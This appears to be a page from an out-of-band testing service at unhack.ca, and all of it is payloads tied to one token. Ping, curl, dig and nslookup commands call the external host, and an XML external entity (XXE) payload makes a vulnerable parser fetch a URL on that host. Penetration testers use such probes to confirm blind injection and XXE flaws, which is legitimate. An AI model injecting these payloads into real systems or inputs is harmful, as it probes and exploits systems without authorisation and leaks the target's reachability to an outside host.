$ ping -c1 -p 00dac03e87a4fc0e651f82a220342600 unhack.ca
 

$ curl http://unhack.ca/p/dac03e87a4fc0e651f82a2203426
 

$ dig dac03e87a4fc0e651f82a2203426 @unhack.ca
 

$ dig dac03e87a4fc0e651f82a2203426.ns.unhack.ca
 

C:\> nslookup dac03e87a4fc0e651f82a2203426 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/dac03e87a4fc0e651f82a2203426">]>
    <foo>&xxe;</foo>